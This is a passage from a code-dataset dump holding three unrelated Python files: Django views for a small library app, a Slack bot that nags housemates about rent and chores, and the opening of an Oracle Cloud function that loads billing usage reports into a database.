book_id:\n return HttpResponseRedirect(reverse_lazy('main'))\n else:\n book = Book.objects.filter(id=book_id).first()\n if not book:\n return HttpResponseRedirect(reverse_lazy('main'))\n if book.copy_count < 1:\n book.copy_count = 0\n else:\n book.copy_count -= 1\n book.save()\n return HttpResponseRedirect(reverse_lazy('main'))\n else:\n return HttpResponseRedirect(reverse_lazy('main'))\n\n\ndef redactions_list(request):\n template = loader.get_template('redactions.html')\n\n if request.method == 'POST':\n name = request.POST['name']\n Redaction.objects.create(name=name)\n return HttpResponseRedirect(reverse_lazy('redactions'))\n else:\n redactions = Redaction.objects.all()\n data = {'redactions': [],\n 'form': RedactionForm()}\n for redaction in redactions:\n data['redactions'].append({'name': redaction,\n 'books': Book.objects.filter(redaction=redaction)})\n return HttpResponse(template.render(data, request))\n\n\ndef is_latin(string):\n \"\"\"\n Возвращает True, если строка string состоит из прописных или строчных\n латинских букв (без пробелов), иначе - False\n \"\"\"\n length = len(string)\n for i in string:\n if ord(i) in range(65, 91) or ord(i) in range(97, 123):\n length -= 1\n if length == 0:\n return True\n else:\n return False\n\n\ndef author_list(request):\n template = loader.get_template('authors.html')\n\n if request.method == 'POST':\n form = AuthorForm(request.POST)\n if form.is_valid():\n full_name = request.POST['full_name']\n birth_year = request.POST['birth_year']\n country = request.POST['country']\n print(type(country), country.isdigit())\n if country.isdigit() or not is_latin(country):\n form.add_error(field='country',\n error='Введите 2 латинские буквы')\n data = {'authors': Author.objects.all(),\n 'form': form}\n return HttpResponse(template.render(data, request))\n Author.objects.create(full_name=full_name,\n birth_year=birth_year,\n country=country)\n return HttpResponseRedirect(reverse_lazy('authors'))\n else:\n data = {'authors': Author.objects.all(),\n 'form': form}\n else:\n data = {'authors': Author.objects.all(),\n 'form': AuthorForm()}\n return HttpResponse(template.render(data, request))\n\n\ndef readers_list(request):\n template = loader.get_template('readers.html')\n\n if request.method == 'POST':\n form = BookHolderForm(request.POST)\n if form.is_valid():\n new_name = request.POST['name']\n try:\n new_birth_date = dt.strptime(request.POST['birth_date'], '%d.%m.%Y')\n except ValueError:\n new_birth_date = dt.strptime(request.POST['birth_date'], '%d,%m,%Y')\n BookHolder.objects.create(name=new_name,\n birth_date=new_birth_date)\n return HttpResponseRedirect(reverse_lazy('readers'))\n else:\n data = {'readers': BookHolder.objects.all(),\n 'form': form}\n return HttpResponse(template.render(data, request))\n else:\n readers = BookHolder.objects.all()\n data = {'readers': [],\n 'form': BookHolderForm()}\n for reader in readers:\n data['readers'].append({'name': reader.name,\n 'birth_date': reader.birth_date,\n 'books': Book.objects.filter(reader=reader)})\n return HttpResponse(template.render(data, request))\n\n\ndef new_book(request):\n template = loader.get_template('new_book.html')\n\n if request.method == 'POST':\n form = BookForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse_lazy('main'))\n else:\n data = {'form': form,\n 'form_not_valid': True}\n return HttpResponse(template.render(data, request))\n else:\n data = {'form': BookForm()}\n return HttpResponse(template.render(data, request))\n\n\nclass BookDetailView(DetailView):\n model = Book\n template_name = 'book_detail.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"form\"] = BookImgForm()\n return context\n\n def post(self, request, pk, **kwargs):\n form = BookImgForm(request.POST, request.FILES)\n if form.is_valid():\n book = Book.objects.get(id=pk)\n print('---', book.img)\n book.img = request.FILES['img']\n book.save()\n print('ok')\n return HttpResponseRedirect(reverse_lazy('book_detail', args=[pk]))\n else:\n self.object = self.get_object()\n context = super().get_context_data(**kwargs)\n context['form'] = form\n return self.render_to_response(context=context)\n","sub_path":"library_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"445871631","text":"\"\"\" Lil Mo is a slack bot that takes input from slack and executes automation scripts\n\"\"\"\n\nimport time\nimport datetime\nimport re\nfrom slackclient import SlackClient\nimport json\nimport calendar\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nimport dateutil.parser\n\nclass LilMoHouseBot:\n\n def __init__(self, saved_state=False):\n\n # TODO: 5. Create a time tracking object that takes in rent due date and calculates all the needed relative times to interface with the Bot object class.\n # TODO: 3. Save state when using shutdown cmd and allow to open last state when starting up.\n # TODO: 1. Scrape web for chores/parking spot each monday/and with call cmd.\n # TODO: 2. Track stats on who pays rent the fastest with a rent_stats cmd.\n # TODO: 4. Allow for a list of Admins.\n # TODO: 6. Use onion style architecture to allow cmds to be imported via driver. Would need big overhaul...\n\n # Yes, we wana run.\n self.bot_run = True\n\n # Open config and grab the json file\n with open('config.json') as json_data_file:\n data = json.load(json_data_file)\n\n # Instantiate Slack client\n slack_bot_token = data['SlackBotToken']\n self.slack_client = SlackClient(slack_bot_token)\n\n # Grab slack channels for bot to post to\n self.list_of_channels = data[\"channels\"]\n\n # Grab the channel admin\n self.bot_admin = data[\"admin\"]\n\n # Grab sel driver location\n self.sel_driver_path = data[\"seldriver\"]\n\n # Grab people names\n self.usernames = data[\"usernames\"]\n\n # starterbot's user ID in Slack: value is assigned after the bot starts up\n self.starterbot_id = None\n\n # Set relative datetime checks\n self.seven_days = datetime.timedelta(days=6, hours=7) # 5 oclock seven days\n self.four_days = datetime.timedelta(days=3, hours=7) # 5 oclock three days\n\n self.seven_hours = datetime.timedelta(hours=7)\n\n self.nine_hours = datetime.timedelta(hours=9)\n self.twelve_hours = datetime.timedelta(hours=12) # 12pm oclock\n self.seventeen_hours = datetime.timedelta(hours=17) # 5pm oclock\n self.twenty_two_hours = datetime.timedelta(hours=22) # 10pm oclock\n\n # If we have a saved_state then we'll get all our needed vars from that state.\n if saved_state:\n self.__read_saved_state()\n\n # Else let's set them up\n else:\n # Set up structures for tracking renters, renters paid, and renters not paid. Grabbing renters from config.\n self.renters = data[\"users\"]\n self.renters_paid = {}\n self.renters_not_paid = {}\n\n # Set all our relative times and ping flags for this month\n self.__reset_relative_times_and_pings()\n self.__reset_emergency_times_and_pings()\n\n\n # TODO: Add chore tracking for state saves?\n self.__reset_chore_pings()\n\n # constants\n self.rtm_read_delay = 1 # 1 second delay between reading from RTM\n self.command_keyword = \"-run\"\n self.input_keyword = '-in'\n self.help_keyword = '-help'\n self.mention_regex = \"^<@(|[WU].+?)>(.*)\"\n\n # cmd list\n self.command_list = ['paid', 'not_paid', 'show_paid', 'show_not_paid', 'shutdown']\n\n # INIT PRINTS\n\n print(self.renters)\n print(self.renters_paid)\n print(self.renters_not_paid)\n\n def parse_bot_commands(self, slack_events):\n \"\"\"\n Parses a list of events coming from the Slack RTM API to find bot commands.\n If a bot command is found, this function returns a tuple of command and channel.\n If its not found, then this function returns None, None.\n \"\"\"\n for event in slack_events:\n if event[\"type\"] == \"message\" and not \"subtype\" in event:\n user_id, message = self.parse_direct_mention(event[\"text\"])\n if user_id == self.starterbot_id:\n return message, event[\"channel\"], event[\"user\"]\n return None, None, None\n\n def parse_direct_mention(self, message_text):\n \"\"\"\n Finds a direct mention (a mention that is at the beginning) in message text\n and returns the user ID which was mentioned. If there is no direct mention, returns None\n \"\"\"\n matches = re.search(self.mention_regex, message_text)\n # the first group contains the username, the second group contains the remaining message\n return (matches.group(1), matches.group(2).strip()) if matches else (None, None)\n\n def handle_command(self, command, channel, user):\n \"\"\"\n Executes bot command if the command is known\n \"\"\"\n # Default response is help text for the user\n default_response = \"Not sure what you mean. Try *{}*.\".format(self.command_keyword)\n\n # Finds and executes the given command, filling in response\n response = None\n\n if command.startswith(self.command_keyword + ' paid'):\n if self.__check_if_admin(user):\n response = self.__cmd_remove_renter_from_renters_not_paid(command)\n else:\n response = 'Admin cmd only... sorry.'\n\n if command.startswith(self.command_keyword + ' not_paid'):\n if self.__check_if_admin(user):\n response = self.__cmd_add_renter_to_renters_not_paid(command)\n else:\n response = 'Admin cmd only... sorry.'\n\n if command.startswith(self.command_keyword + ' shutdown'):\n if self.__check_if_admin(user):\n response = self.__cmd_shutdown()\n else:\n response = 'Admin cmd only... sorry.'\n\n if command.startswith(self.command_keyword + ' show_paid'):\n response = self.__cmd_show_renters_paid()\n if not response:\n response = 'No one has paid!'\n\n if command.startswith(self.command_keyword + ' show_not_paid'):\n response = self.__cmd_show_renters_not_paid()\n if not response:\n response = 'Everyone has paid!'\n\n if command == self.help_keyword:\n response = f\"Here's a list of commands {self.command_list}\"\n\n # Sends the response back to the channel\n self.slack_client.api_call(\n \"chat.postMessage\",\n channel=channel,\n text=response or default_response\n )\n\n def chores_reminder(self, channels,):\n\n # If today is monday and we haven't pinged about chores, then ping about chores\n if datetime.date.today().isoweekday() == 1 and not self.chore_ping:\n print('Log: Sending chores reminder')\n self.__send_chores_reminder(channels)\n\n # If we've sent out a ping and it isn't monday, reset the ping\n if datetime.date.today().isoweekday() != 1 and self.chore_ping:\n print('Log: Resetting chores reminder')\n self.__reset_chore_pings()\n\n return None\n\n def rent_reminder(self, channel,):\n \"\"\" Handles rent reminders for each month. Reminds once a week before rent due (end of the month),\n reminds a second time four days before rent due, and finally three times the day before, five times\n day off and six times a day after.... Listen... I know it's a lot.. but people just don't pay rent...\n\n :param channel: Channel to post reminders to\n :return:\n \"\"\"\n\n right_now = datetime.datetime.today()\n\n # If everyone has paid for this month we're good to go, cut it here!\n if not self.renters_not_paid and right_now < self.first_day_of_next_month:\n return None\n\n # If everyone has paid and we're in a new month, reset all our relative vars and renters not paid.\n if not self.renters_not_paid and right_now > self.first_day_of_next_month:\n print('Log: Resetting rent reminder')\n self.__reset_relative_times_and_pings()\n self.__reset_emergency_times_and_pings()\n\n # Check if ping within the set window and check if it has pinged already for the window\n self.__check_to_send_message(right_now, channel)\n\n # If not everyone has paid and we're in a new month, uh oh! We need to ping them a bunch every day till they pay\n if self.renters_not_paid and right_now > self.first_day_of_next_month:\n\n # If we're in a new day, reset emergency pings and relative times!\n if right_now > self.end_of_relative_today:\n self.__reset_emergency_times_and_pings()\n\n # If we're still in the same day, let's check to see if we should send a reminder ping out.\n self.__check_to_send_emergency_message()\n\n return None\n\n def save_state(self):\n\n state_dict = {\n\n \"renters\": self.renters,\n \"renters_paid\": self.renters_paid,\n \"renters_not_paid\": self.renters_not_paid,\n \"last_day_of_relative_month\": self.last_day_of_relative_month,\n # Reminder info\n \"first_day_of_next_month\": self.first_day_of_next_month,\n \"seven_days_ping\": self.seven_days_ping,\n \"four_days_ping\": self.four_days_ping,\n \"one_days_ping\": self.one_days_ping,\n \"nine_day_of_ping\": self.nine_day_of_ping,\n \"twelve_day_of_ping\": self.twelve_day_of_ping,\n \"five_day_of_ping\": self.five_day_of_ping,\n \"ten_day_of_ping\": self.ten_day_of_ping,\n\n # Emergency info\n \"relative_today\": self.relative_today,\n \"end_of_relative_today\": self.end_of_relative_today,\n \"relative_today_nine_am\": self.relative_today_nine_am,\n \"relative_today_twelve_pm\": self.relative_today_twelve_pm,\n \"relative_today_five_pm\": self.relative_today_five_pm,\n \"relative_today_ten_pm\": self.relative_today_ten_pm,\n \"relative_today_nine_am_ping\": self.relative_today_nine_am_ping,\n \"relative_today_twelve_pm_ping\": self.relative_today_twelve_pm_ping,\n \"relative_today_five_pm_ping\": self.relative_today_five_pm_ping,\n \"relative_today_ten_pm_ping\": self.relative_today_ten_pm_ping\n\n # Could add in chore information below\n\n }\n\n with open('StateSaves/botstate.json', 'w') as outfile:\n json.dump(state_dict, fp=outfile, indent=4, sort_keys=True, default=str)\n\n return None\n\n def __read_saved_state(self):\n\n with open('StateSaves/botstate.json') as infile:\n new_state = json.load(infile)\n\n # Renters\n self.renters = new_state[\"renters\"]\n self.renters_paid = new_state[\"renters_paid\"]\n self.renters_not_paid = new_state[\"renters_not_paid\"]\n\n # Rent reminder rel times\n self.last_day_of_relative_month = self.__dict_str_to_datetime(new_state, \"last_day_of_relative_month\")\n self.first_day_of_next_month = self.__dict_str_to_datetime(new_state, \"first_day_of_next_month\")\n\n # Pings\n self.seven_days_ping = new_state[\"seven_days_ping\"]\n self.four_days_ping = new_state[\"four_days_ping\"]\n self.one_days_ping = new_state[\"one_days_ping\"]\n self.nine_day_of_ping = new_state[\"nine_day_of_ping\"]\n self.twelve_day_of_ping = new_state[\"twelve_day_of_ping\"]\n self.five_day_of_ping = new_state[\"five_day_of_ping\"]\n self.ten_day_of_ping = new_state[\"ten_day_of_ping\"]\n\n # Emergency info\n self.relative_today = self.__dict_str_to_datetime(new_state, \"relative_today\")\n self.end_of_relative_today = self.__dict_str_to_datetime(new_state, \"end_of_relative_today\")\n self.relative_today_nine_am = self.__dict_str_to_datetime(new_state, \"relative_today_nine_am\")\n self.relative_today_twelve_pm = self.__dict_str_to_datetime(new_state, \"relative_today_twelve_pm\")\n self.relative_today_five_pm = self.__dict_str_to_datetime(new_state, \"relative_today_five_pm\")\n self.relative_today_ten_pm = self.__dict_str_to_datetime(new_state, \"relative_today_ten_pm\")\n\n # Pings\n self.relative_today_nine_am_ping = new_state[\"relative_today_nine_am_ping\"]\n self.relative_today_twelve_pm_ping = new_state[\"relative_today_twelve_pm_ping\"]\n self.relative_today_five_pm_ping = new_state[\"relative_today_five_pm_ping\"]\n self.relative_today_ten_pm_ping = new_state[\"relative_today_ten_pm_ping\"]\n\n def __dict_str_to_datetime(self, a_dict, key):\n return dateutil.parser.parse(a_dict[key])\n # return datetime.datetime.strptime(a_dict[key], '%Y-%m-%d %H:%M%S')\n\n def __check_to_send_message(self, current_datetime, channels):\n \"\"\" Check if ping within the set window and check if it has pinged already for the window. Send message otherwise.\n\n :param current_datetime: The current datetime use to compare against conditions if ping should be sent.\n :param channel: Channel to send reminder to.\n :return: None\n \"\"\"\n\n right_now = current_datetime\n\n # Seven day window\n if right_now > (self.last_day_of_relative_month - self.seven_days) < (self.last_day_of_relative_month - self.four_days) and not self.seven_days_ping:\n print('Log: sending rent reminder')\n message = 'Rent due in seven days!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.seven_days_ping = True\n\n # Four day window\n if right_now > (self.last_day_of_relative_month - self.four_days) < (self.last_day_of_relative_month - self.seven_hours) and not self.four_days_ping:\n print('Log: sending rent reminder')\n message = 'Rent due in four days!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.four_days_ping = True\n\n # Day before window\n if right_now > (self.last_day_of_relative_month - self.seven_hours) < (self.last_day_of_relative_month + self.nine_hours) and not self.one_days_ping:\n print('Log: sending rent reminder')\n message = 'Rent due tomorrow!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.one_days_ping = True\n\n # Day of 9am ping\n if right_now > (self.last_day_of_relative_month + self.nine_hours) < (self.last_day_of_relative_month + self.twelve_hours) and not self.nine_day_of_ping:\n print('Log: sending rent reminder')\n message = 'Rent due today!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.nine_day_of_ping = True\n\n # Day of 12pm ping\n if right_now > (self.last_day_of_relative_month + self.twelve_hours) < (self.last_day_of_relative_month + self.seventeen_hours) and not self.twelve_day_of_ping:\n print('Log: sending rent reminder')\n message = 'Rent due today plzzz!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.twelve_day_of_ping = True\n\n # Day of 5pm ping\n if right_now > (self.last_day_of_relative_month + self.seventeen_hours) < (self.last_day_of_relative_month + self.twenty_two_hours) and not self.five_day_of_ping:\n print('Log: sending rent reminder')\n message = 'R3nt duee rn!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.five_day_of_ping = True\n\n # Day of 10pm ping\n if right_now > (self.last_day_of_relative_month + self.twenty_two_hours) and not self.ten_day_of_ping:\n print('Log: sending rent reminder')\n message = 'Okay.. seriously pay rent!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.ten_day_of_ping = True\n\n return None\n\n def __check_to_send_emergency_message(self, current_datetime, channels):\n\n right_now = current_datetime\n\n if right_now.hour > self.relative_today_nine_am and not self.relative_today_nine_am_ping:\n message = 'Rent is pass due, please pay!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.relative_today_nine_am_ping = True\n\n if right_now.hour > self.relative_today_twelve_pm and not self.relative_today_twelve_pm_ping:\n message = 'Rent is pass due, please pay!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.relative_today_twelve_pm_ping = True\n\n if right_now.hour > self.relative_today_five_pm and not self.relative_today_five_pm_ping:\n message = 'Rent is pass due, please pay!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.relative_today_nine_am_ping = True\n\n if right_now.hour > self.relative_today_ten_pm and not self.relative_today_ten_pm_ping:\n message = 'Rent is pass due, please pay!'\n self.__send_rent_reminder(channel_list=channels, reminder_message=message)\n self.relative_today_ten_pm_ping = True\n\n def __send_rent_reminder(self, channel_list, reminder_message):\n \"\"\" Check renters_not_paid. Send one message @ing all users in that dictionary\n\n :param channel_list: Channel list to send reminder to.\n :param reminder_message: Message to include after users have been @ed\n :return: None\n \"\"\"\n\n list_of_renters_not_paid = self.renters_not_paid.keys()\n users_with_tag = []\n\n for user in list_of_renters_not_paid:\n users_with_tag.append('<@' + user +'> ')\n\n users_with_ping = ' '.join(users_with_tag)\n\n users_with_reminder_message = users_with_ping + reminder_message\n\n # Loop through channel_list to send reminder to channels\n for channel in channel_list:\n\n self.slack_client.api_call(\n \"chat.postMessage\",\n channel=channel,\n text=users_with_reminder_message\n )\n\n print(f'Reminder sent: {users_with_reminder_message}')\n return None\n\n def __send_chores_reminder(self, channels):\n\n # Start the WebDriver and load the page\n wd = webdriver.Firefox(executable_path=self.sel_driver_path)\n wd.get(\"http://www.chorechart.xyz/\")\n\n # Let's wait for this shit to show up\n time.sleep(5)\n\n # And grab the page HTML source\n html_page = wd.page_source\n wd.quit()\n\n # Now you can use html_page as you like\n soup = BeautifulSoup(html_page, \"lxml\")\n\n list_of_chore_doers = []\n\n # print(soup.prettify())\n for heading in soup.find_all('h3'):\n list_of_chore_doers.append(heading.text)\n\n dict_of_users = self.usernames\n\n # Loop over scraped users, get users names from dictonary to assemble @. Add chore name in front\n # and create single string.\n\n # Cleaning the scrapped data\n clean_list_of_chore_doers = []\n\n for scraped_people in list_of_chore_doers:\n clean_list_of_chore_doers.append(scraped_people.replace(' ', ''))\n\n clean_surfaces = clean_list_of_chore_doers[0]\n swipe_clean_floors = clean_list_of_chore_doers[1]\n trash_and_recycle = clean_list_of_chore_doers[2]\n clean_bathroom = clean_list_of_chore_doers[3]\n parking_spot = clean_list_of_chore_doers[4]\n\n clean_surfaces_cleaned = clean_surfaces.split(\"&\")\n swipe_clean_floors_cleaned = swipe_clean_floors.split(\"&\")\n trash_and_recycle_cleaned = trash_and_recycle.split(\"&\")\n clean_bathroom_cleaned = clean_bathroom.split(\"&\")\n parking_spot_cleaned = parking_spot.split(\"&\")\n\n # Let's assemble the needed strings\n clean_surfaces_string = ''\n\n for users in clean_surfaces_cleaned:\n userid = dict_of_users.get(users)\n clean_surfaces_string += '<@' + userid + '> '\n\n clean_surfaces_string = '\\nClean surfaces: ' + clean_surfaces_string\n\n swipe_clean_floors_string = ''\n\n for users in swipe_clean_floors_cleaned:\n userid = dict_of_users.get(users)\n swipe_clean_floors_string += '<@' + userid + '> '\n\n swipe_clean_floors_string = '\\nClean floors: ' + swipe_clean_floors_string\n\n trash_and_recycle_string = ''\n\n for users in trash_and_recycle_cleaned:\n userid = dict_of_users.get(users)\n trash_and_recycle_string += '<@' + userid + '> '\n\n trash_and_recycle_string = '\\nTrash and recycle: ' + trash_and_recycle_string\n\n clean_bathroom_string = ''\n\n for users in clean_bathroom_cleaned:\n userid = dict_of_users.get(users)\n clean_bathroom_string += '<@' + userid + '> '\n\n clean_bathroom_string = '\\nClean bathroom: ' + clean_bathroom_string\n\n parking_spot_string = ''\n\n for users in parking_spot_cleaned:\n userid = dict_of_users.get(users)\n parking_spot_string += '<@' + userid + '> '\n\n parking_spot_string = '\\nParking spot: ' + parking_spot_string\n\n chore_string = clean_surfaces_string + swipe_clean_floors_string + trash_and_recycle_string + clean_bathroom_string + parking_spot_string\n\n # Post to channels\n for channel in channels:\n\n self.slack_client.api_call(\n \"chat.postMessage\",\n channel=channel,\n text=chore_string\n )\n\n self.chore_ping = True\n\n def __reset_relative_times_and_pings(self):\n # Get last day of the month from today's date.\n relative_day = datetime.datetime.today()\n x, last_day_of_month_int = calendar.monthrange(relative_day.year, relative_day.month)\n\n self.last_day_of_relative_month = datetime.datetime(year=relative_day.year, month=relative_day.month,\n day=last_day_of_month_int)\n\n # One Day\n one_day = datetime.timedelta(days=1)\n\n # Set first day of next month\n self.first_day_of_next_month = self.last_day_of_relative_month + one_day\n\n # Reset standard pings\n self.seven_days_ping = False\n self.four_days_ping = False\n self.one_days_ping = False\n self.nine_day_of_ping = False\n self.twelve_day_of_ping = False\n self.five_day_of_ping = False\n self.ten_day_of_ping = False\n\n # Reset renters not paid\n self.__reset_renters_not_paid()\n\n print('Normal Pings and rel. times reset')\n return None\n\n def __reset_renters_not_paid(self):\n # Reset the renters_not_paid dict by copying self.renters\n self.renters_not_paid = self.renters.copy()\n return None\n\n def __reset_emergency_times_and_pings(self):\n \"\"\" Resets relative times and pings for the daily four pings that will be sent to slack if someone hasn't paid\n past the due date.\n :return: None\n \"\"\"\n\n # relative times\n self.relative_today = datetime.datetime.today()\n self.end_of_relative_today = self.relative_today.replace(hour=23, minute=59, second=59,)\n\n # relative times for pings\n self.relative_today_nine_am = self.relative_today.replace(hour=9, minute=0, second=0, microsecond=0, )\n self.relative_today_twelve_pm = self.relative_today.replace(hour=12, minute=0, second=0, microsecond=0, )\n self.relative_today_five_pm = self.relative_today.replace(hour=17, minute=0, second=0, microsecond=0, )\n self.relative_today_ten_pm = self.relative_today.replace(hour=22, minute=0, second=0, microsecond=0, )\n\n # ping flags\n self.relative_today_nine_am_ping = False\n self.relative_today_twelve_pm_ping = False\n self.relative_today_five_pm_ping = False\n self.relative_today_ten_pm_ping = False\n\n print('Emergency Pings reset')\n return None\n\n def __reset_chore_pings(self):\n self.chore_ping = False\n\n def __check_if_admin(self, user):\n if user == self.bot_admin:\n return True\n else:\n return False\n\n def __cmd_add_renter_to_renters_not_paid(self, command):\n \"\"\" Adds user to the renters not paid dict\n\n :param command: Command to be parsed\n :return: string of the user name added\n \"\"\"\n\n # First we need to parse the command to grab the user that is being requested to remove\n run, not_paid, user_mentioned = command.split()\n user_parsed = user_mentioned[2:11] # parsing out the user tag with 2:11\n\n # Pop and add it onto renters_paid dict\n try:\n self.renters_not_paid.update({user_parsed: self.renters_paid.pop(user_parsed)})\n print(f'Removed from renters_paid : {self.renters_paid}')\n print(f'Added to renters_not_paid : {self.renters_not_paid}')\n return 'Renter added to renters not paid list'\n except KeyError:\n print('User does not exist in renters paid list')\n return 'User does not exist in renters paid list'\n\n def __cmd_remove_renter_from_renters_not_paid(self, command):\n \"\"\" Removes user from the renters not paid dict\n\n :param command: Command to be parsed\n :return: string of the user name removed\n \"\"\"\n\n # First we need to parse the command to grab the user that is being requested to remove\n run, paid, user_mentioned = command.split()\n user_parsed = user_mentioned[2:11] # parsing out the user tag with 2:11\n\n # Pop and add it onto renters_paid dict\n try:\n self.renters_paid.update({user_parsed: self.renters_not_paid.pop(user_parsed)})\n print(f'Added to renters_paid : {self.renters_paid}')\n print(f'Removed from renters_not_paid : {self.renters_not_paid}')\n return 'Renter removed from renters not paid list'\n except KeyError:\n print('User does not exist in renters not paid list')\n return 'User does not exist in renters_not_paid'\n\n def __cmd_show_renters_not_paid(self):\n return list(self.renters_not_paid.values())\n\n def __cmd_show_renters_paid(self):\n return list(self.renters_paid.values())\n\n def __cmd_shutdown(self):\n\n print(\"Log: Shutting Down\")\n self.save_state()\n print(\"Log: State Saved\")\n self.bot_run = False\n return \"Log: State saved, shutting down!\"\n\n def run(self):\n if self.slack_client.rtm_connect(with_team_state=False):\n print(\"Starter Bot connected and running!\")\n\n # Read bot's user ID by calling Web API method `auth.test`\n self.starterbot_id = self.slack_client.api_call(\"auth.test\")[\"user_id\"]\n while self.bot_run:\n\n log_time = datetime.datetime.now()\n try:\n command, channel, user = self.parse_bot_commands(self.slack_client.rtm_read())\n if command:\n self.handle_command(command, channel, user)\n self.rent_reminder(self.list_of_channels)\n self.chores_reminder(self.list_of_channels)\n\n # Catching Connection Reset Error\n except ConnectionResetError as e:\n print('Log: ConnectionResetError : Retrying connection')\n print(f'Log: {e}')\n\n # Log the error to a txt file\n with open('ConErrorLog.txt', 'a') as log_file:\n log_file.write(f'\\nLog Time: {log_time.day}, {log_time.hour}, '\n f'{log_time.minute}, {log_time.second}'\n '\\nLog: ConnectionResetError : Retrying connection'\n f'\\nLog: {e}')\n\n # Catching anything while trying to reconnect\n try:\n print('Log: reconnecting')\n self.slack_client.rtm_connect(with_team_state=False)\n\n # Printing any error caught\n except e:\n print(f'Log: reconnection error: {e}')\n\n # Log the error to a txt file\n with open('AfterReConErrorLog.txt', 'a') as log_file:\n log_file.write(f'\\nLog Time: {log_time.day}, {log_time.hour}, '\n f'{log_time.minute}, {log_time.second}'\n f'\\nLog: reconnection error: {e}')\n\n finally:\n print('Log Time: ', log_time.day, log_time.hour, log_time.minute, log_time.second)\n time.sleep(self.rtm_read_delay)\n else:\n print(\"Connection failed. Exception traceback printed above.\")\n\n\nif __name__ == \"__main__\":\n bot = LilMoHouseBot(saved_state=True)\n bot.run()\n\n\n\n","sub_path":"LilMo_House.py","file_name":"LilMo_House.py","file_ext":"py","file_size_in_byte":29154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"160320602","text":"# initialise modules..\nimport time\nimport cx_Oracle\nimport oci\nimport os\nimport gzip\nimport shutil\nimport io\nimport json\nimport csv\nimport zipfile\nimport pandas as pd\nfrom fdk import response\nimport logging\nlogging.basicConfig(level=logging.INFO)\n\n# use oracle resource principal provider to extract credentials from rpst token..\ndef handler(ctx, data: io.BytesIO=None):\n signer = oci.auth.signers.get_resource_principals_signer()\n resp = do(signer)\n return response.Response(ctx,\n response_data=json.dumps(resp),\n headers={\"Content-Type\": \"application/json\"})\n\ndef do(signer):\n# return data..\n file_list = None\n file_list = []\n\n# establish function start-time..\n runsec = None\n date1 = time.time()\n\n # usage report dependencies..\n usage_report_namespace = 'bling'\n report_path = '/tmp/downloaded_reports'\n wallet_path = '/tmp/wallet'\n usage_report_bucket = os.environ['usage_report_bucket']\n\n # autonomous database dependencies..\n autonomous_database_id = os.environ['db_ocid']\n generate_autonomous_database_wallet_details = oci.database.models.GenerateAutonomousDatabaseWalletDetails(password=os.environ['db_pass'])\n\n # create local directories..\n if not os.path.exists(report_path):\n os.mkdir(report_path)\n if not os.path.exists(wallet_path):\n os.mkdir(wallet_path)\n\n # initialise clients..\n object_storage = oci.object_storage.ObjectStorageClient({}, signer=signer)\n autonomous_db = oci.database.DatabaseClient({}, signer=signer)\n\n # download db client credential package..\n with open(wallet_path + '/' + 'wallet.zip', 'wb') as f:\n wallet_details = autonomous_db.generate_autonomous_database_wallet(autonomous_database_id, generate_autonomous_database_wallet_details)\n for chunk in wallet_details.data.raw.stream(1024 * 1024, decode_content=False):\n f.write(chunk)\n logging.info('finished downloading ' + wallet_path + '/' + 'wallet.zip')\n\n # extract..\n with zipfile.ZipFile(wallet_path + '/' + 'wallet.zip', 'r') as zip_obj:\n zip_obj.extractall(wallet_path)\n\n # update sqlnet.ora..\n with open(wallet_path + '/sqlnet.ora', 'r') as sqlnet_file:\n sqlnet_filedata = sqlnet_file.read()\n sqlnet_filedata = sqlnet_filedata.replace('?/network/admin', '/tmp/wallet')\n with open(wallet_path + '/sqlnet.ora', 'w') as sqlnet_file:\n sqlnet_file.write(sqlnet_filedata)\n\n # iterate over reports in usage reports bucket - process where applicable..\n report_bucket_objects = object_storage.list_objects(usage_report_namespace, usage_report_bucket)\n for o in report_bucket_objects.data.objects:\n gz_filename = o.name.rsplit('/', 1)[-1]\n csv_filename = gz_filename[:-3]\n filename = csv_filename[:-4]\n\n # adw connection..\n con = cx_Oracle.connect(user=os.environ['db_user'], password=os.environ['db_pass'], dsn=os.environ['db_dsn'])\n cur = con.cursor()\n\n # check if current file has been previously uploaded to database..\n sql = \"SELECT COUNT(usage_report) FROM oci_billing WHERE usage_report = :report_id\"\n cur.execute(sql, {\"report_id\":os.environ['usage_report_bucket'] + \"-\" + filename})\n val, = cur.fetchone()\n bucket = os.environ['usage_report_bucket']\n logging.info(f'report_id: {bucket}-{filename}: {val}')\n\n # calculate function run time..\n date2 = time.time()\n runsec = (date2 - date1)\n logging.info(f'runtime: {runsec} seconds')\n\n if (runsec >= 115):\n # break if too close to function timeout..\n break\n elif (val == 0):\n # no record of this usage report found in db..\n # - let's process this file..\n # - copy report to local file system..\n with open(report_path + '/' + gz_filename, 'wb') as f:\n object_details = object_storage.get_object(usage_report_namespace,usage_report_bucket,o.name)\n for chunk in object_details.data.raw.stream(1024 * 1024, decode_content=False):\n f.write(chunk)\n logging.info('finished downloading ' + gz_filename)\n\n # unzip usage report file..\n with gzip.open(report_path + '/' + gz_filename, 'r') as f_in, open(report_path + '/' + csv_filename, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n\n # format usage report..\n # - use pandas df to format csv data..\n # - rename headers to remove '/'..\n # - include 'lineItem_backreferenceNo' col if not present..\n df = pd.read_csv(report_path + '/' + csv_filename,\n index_col=False,\n parse_dates=[0])\n\n if (\"lineItem/backreferenceNo\" not in df.columns[df.columns.str.contains(pat = 'lineItem/backreferenceNo')]):\n csv_brn = False\n pd_cols = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]\n pd_names = [\"lineItem_referenceNo\", \"lineItem_tenantId\", \"lineItem_intervalUsageStart\", \"lineItem_intervalUsageEnd\", 